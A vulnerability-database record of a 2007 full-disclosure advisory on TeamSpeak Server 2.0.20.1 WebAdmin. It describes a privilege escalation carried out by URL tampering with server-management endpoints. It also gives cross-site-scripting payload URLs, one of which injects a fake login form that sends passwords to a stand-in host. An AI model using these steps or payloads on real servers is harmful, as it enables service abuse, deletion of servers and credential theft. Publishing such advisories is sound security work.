DATABASE RESOURCES PRICING ABOUT US

{"id": "SECURITYVULNS:DOC:17006", "vendorId": null, "type": "securityvulns", "bulletinFamily": "software", "title": "[Full-disclosure] Teamspeak Server 2.0.20.1 Vulnerabilities", "description": "Hi everyone,\r\nseveral months ago I discovered some vulnerabilities in TeamSpeak Server\r\nWebAdmin interface.\r\n\r\nI sent the advisory and exploit to the developers about two months ago\r\n(11 03 2007), but the server is still vulnerable, today.\r\n\r\nAffected software: Teamspeak Server 2.0.20.1 \r\n\r\nLooks like the beta build 2.0.23.15 isn't affected (or at least my\r\nexploit doesn't work on that).\r\n\r\n\r\n\r\n1) Privilege escalation can lead to Service Abuse or Denial of Service\r\n=======================================================================\r\n\r\nTeamSpeak server is based on a "site" and multiple "virtual servers".\r\n\r\nOn each "site" there are one or more SuperAdmin users that can manage \r\nthe site configuration, adding more SuperAdmin users, adding, starting, \r\nstopping or removing virtual servers or even manage each single server, \r\nby selecting it from the web interface or the text-based one.\r\n\r\nEach virtual server has one or more ServerAdmin users that can modify\r\nvirtual server parameters (like the name), adding new users for the \r\nspecified server (also new ServerAdmin users) and modify user privileges\r\nrelative to that virtual server.\r\n\r\nThe problem lies on the RegisteredUser privileges configuration page:\r\nin that page are listed privileges intended to be associated to the \r\nSuperAdmin role, like AdminAddServer or AdminStartServer. By activating \r\nthese privileges for the RegisteredUsers role, loggin in with a new \r\nRegisteredUser account and doing some simple url tampering it is \r\npossible to CREATE, START, STOP and DELETE virtual servers to the \r\nsite, without SuperAdmin access.\r\n\r\nWhat is required:\r\n\r\n- ServerAdmin access to the web interface\r\n\r\nHere is a simple exploit pattern:\r\n\r\n* As Server Admin with WebAdmin access:\r\n\r\n- check AccessWebAdminServer, AdminAddServer, AdminDeleteServer, \r\n AdminStartServer, AdminStopServer privileges for Registered users\r\n- create a new registered user\r\n- logout\r\n\r\n\r\n* As Registered User with WebAdmin access you can create a new \r\n virtual server:\r\n\r\n- login with the new account\r\n- change the url to http://your_site:your_port/server_manager_add.html\r\n- ADD NEW SERVER!!! (maybe you want to restrict codecs to get a usable\r\n default, like speex 12)\r\n- change the url to\r\nhttp://your_site:your_port/start_server.tscmd?serverid=N\r\n where N is the server ID (may require some guessing!)\r\n- NOW THE SERVER IS ONLINE!!!\r\n- Connect as ANONYMOUS to the server and ENJOY :)\r\n\r\n\r\n* As Registered User with WebAdmin access you can **DELETE** \r\n any existing virtual server:\r\n\r\n- login with the new account\r\n- change the url to\r\nhttp://10.7.7.20:14534/ask_delete_server.tscmd?serverid=N\r\n where N is a number starting from 1\r\n- if you click YES you can **DELETE** any virtual server\r\n\r\n\r\n* As Registered User with WebAdmin access you can START or STOP\r\n any existing server:\r\n\r\n- login as Registered User\r\n- change the url to\r\nhttp://your_site:your_port/start_server.tscmd?serverid=N\r\n to start any server\r\n- change the url to\r\nhttp://your_site:your_port/stop_server.tscmd?serverid=N\r\n to stop any server\r\n\r\n\r\n2) Cross Site Scripting\r\n========================\r\n\r\nPages ok_box.html and error_box.html are vulnerable to common Cross Site\r\nScripting attacks:\r\n\r\nhttp://your_ts_server_here:14534/error_box.html?error_title=session\r\nexpired - please\r\nlogin&error_text=<form action="http://127.0.0.1:31338/own.cgi">User:\r\n<input\r\ntype="text"><br>Pass: <input type="password"><br><br><input\r\ntype="submit"></form>&error_url=index.html\r\n\r\nhttp://webadmin_uri:14534/ok_box.html?ok_title=%3Cscript%\r\n3Ealert('hello')%3C/script%3E\r\n\r\n\r\nMitigation\r\n==========\r\n\r\nDisable WebAdmin access. \r\nUpgrade to beta release.\r\n\r\n\r\n\r\nGilberto Ficara\r\n\r\n(sorry for my bad english :))\r\n", "published": "2007-05-12T00:00:00", "modified": "2007-05-12T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:17006", "reporter": "Securityvulns", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-08-31T11:10:22", "viewCount": 3190, "enchantments": {"score": {"value": 0.7, "vector": "NONE"}, "dependencies": {"references": []}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7702"]}]}, "exploitation": null, "affected_software": {"major_version": []}, "vulnersScore": 0.7}, "_state": {"dependencies": 1678962117, "score": 1684015796, "affected_software_major_version": 0, "epss": 1679322135}, "_internal": {"score_hash": "6f57641b4a894b7c35182f3b9708f06a"}, "sourceData": "", "affectedSoftware": [], "appercut": {}, "exploitpack": {}, "hackapp": {}, "toolHref": "", "w3af": {}}

{}